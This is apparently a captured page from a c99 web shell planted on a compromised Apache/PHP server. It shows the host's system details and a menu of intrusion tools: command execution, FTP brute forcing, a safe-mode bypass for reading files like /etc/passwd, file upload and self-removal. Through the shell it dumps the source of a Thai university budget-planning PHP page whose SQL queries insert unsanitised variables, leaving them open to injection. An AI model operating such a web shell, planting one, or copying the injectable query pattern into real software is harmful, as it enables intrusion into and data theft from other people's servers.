!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.24 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PlaningInDetail.php (7.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
include("./include/FunctionDB.php");
  include(
"./include/Function.php");
  
ConnectDB();
$sql "SELECT * FROM  project_type_tb  Where Teacher_code='$Teacher_code' ORDER BY Teacher_code  Desc";
$result mysql_query($sql) or die("Select Has Error").mysql_error();
$rs mysql_fetch_array($result);
$sql2 =  " SELECT * FROM  project_tb Where  Project_code='$Project_code'  ORDER BY Project_code Desc";
$result2mysql_query($sql2) or die("Select Has Error").mysql_error();
$rs mysql_fetch_array($result2);

?>

<html>
<head>
<title>ข้อมูลแผนดำเนินการ</title>
<link href="./source/style.css" rel="stylesheet" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">

<style type="text/css">
<!--
.style6 {font-size: 14px}
.style17 {font-family: Tahoma; font-size: 16px; }
.style18 {font-family: Tahoma}
.style29 {font-family: Tahoma; font-size: 14px; font-weight: bold; }
.style32 {font-size: 14px; font-family: Tahoma;}
.style15 {color: #003366}
-->
</style>
</head>


<table width="705" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <th width="705" scope="col"><form name="form1" method="post" action="">
      <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#E0E0E0">
        <tr bgcolor="#ECD9C6">
          <td height="31" colspan="3"><div align="center"><strong><font color="#000000" size="4" face="Tahoma">แสดงรายละเอียดของแผนดำเนินการ </font></strong></div></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><div align="center"><font color="#003366" size="2" face="Tahoma">รหัสหน่วยงาน</font></div></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma">
            <?php
         $Faculty_code 
=  $rs["Faculty_code"];
         
$sql "Select * From faculty_tb Where Faculty_code='$Faculty_code' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[Faculty_code]    $rss[Faculty_name]";
         
?>
          </font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><div align="center"><font color="#003366" size="2" face="Tahoma">รหัสของแผน</font></div></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Orderlist]?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><div align="center"><font color="#000066" size="2" face="Tahoma">ชื่อหัวข้อแผนดำเนินการ</font></div></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Project_plan]?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><div align="center"><font color="#003366" size="2" face="Tahoma">ข้อแผนดำเนินการ</font></div></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Orderlist_2]?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td width="26%"><div align="center"><font color="#000066" size="2" face="Tahoma">รายละเอียดของแผนดำเนินการ</font></div></td>
          <td width="1%" bordercolor="#006699">&nbsp;</td>
          <td width="73%" bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Project_name]?></font> </td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><div align="center"><span class="style15"><font size="2" face="Tahoma, MS Sans Serif">หลักสูตร</font></span></div></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#003300" size="2" face="Tahoma">
            <?php
               $Course_code 
=  $rs["Course_code"];
               
$sql2"Select * From course_tb Where Course_code='$Course_code'";
               
$result2 mysql_query($sql2) or die("Error Select".mysql_query());
               
$rs2 mysql_fetch_array($result2);
               echo
"$rs2[Course_name]";
               
?>
            ปี </font><font color="#990099" size="2" face="Tahoma">
              <?=$rs["Fee"]?>
            </font><font color="#003300" size="2" face="Tahoma"> </a></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><div align="center"><font color="#003366" size="2" face="Tahoma">ชื่อผู้เบิก</font></div></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#003300" size="2" face="Tahoma">
            <?php
               $Teacher_code 
=  $rs[Teacher_code];
               
$sql3"Select * From personal_tb Where Teacher_code='$Teacher_code'";
               
$result3 mysql_query($sql3) or die("Error Select".mysql_query());
               
$rs3 mysql_fetch_array($result3);
               echo
"$rs3[Teacher_name]&nbsp;$rs3[Teacher_lastname]";
               
?>
          </a></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><div align="center"><font color="#003366" size="2" face="Tahoma">หมวดเงิน</font></div></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Percent_ans]?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td bgcolor="#EEEEEE"><div align="center"><font color="#003366" size="2" face="Tahoma">วันที่เริ่มดำเนินการ</font></div></td>
          <td>&nbsp;</td>
          <td><div align="left"> <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Start_Date]?></font><font size="2" face="Tahoma">&nbsp;&nbsp;</font></div></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><div align="center"><font color="#003366" size="2" face="Tahoma">จำนวนเงินที่ใช้.</font></div></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Budget_use]?></font><font color="#003366" size="2" face="Tahoma">&nbsp; </font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><div align="center"><font color="#003366" size="2" face="Tahoma">ปีงบประมาณ พ.ศ.</font></div></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Budget_Year]?></font><font color="#003366" size="2" face="Tahoma">&nbsp; </font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><div align="center"><font color="#003366" size="2" face="Tahoma">ปีการศึกษา พ.ศ.</font></div></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Term]?></font><font color="#003366" size="2" face="Tahoma">&nbsp; </font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><div align="center"><font color="#003366" size="2" face="Tahoma">กลุ่มเป้าหมาย จำนวน</font></div></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Period]?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td height="22"><div align="center"><span class="style6"><font color="#003366" face="Tahoma">คงเหลือเงิน</font></span></div></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Dif_result]?></font></td>
        </tr>
        <tr bgcolor="#ECD9C6">
          <td colspan="3"><div align="center">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </div></td>
        </tr>
      </table>
    </form>
    </th>
  </tr>
</table>
<p>&nbsp;</p>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.015 ]--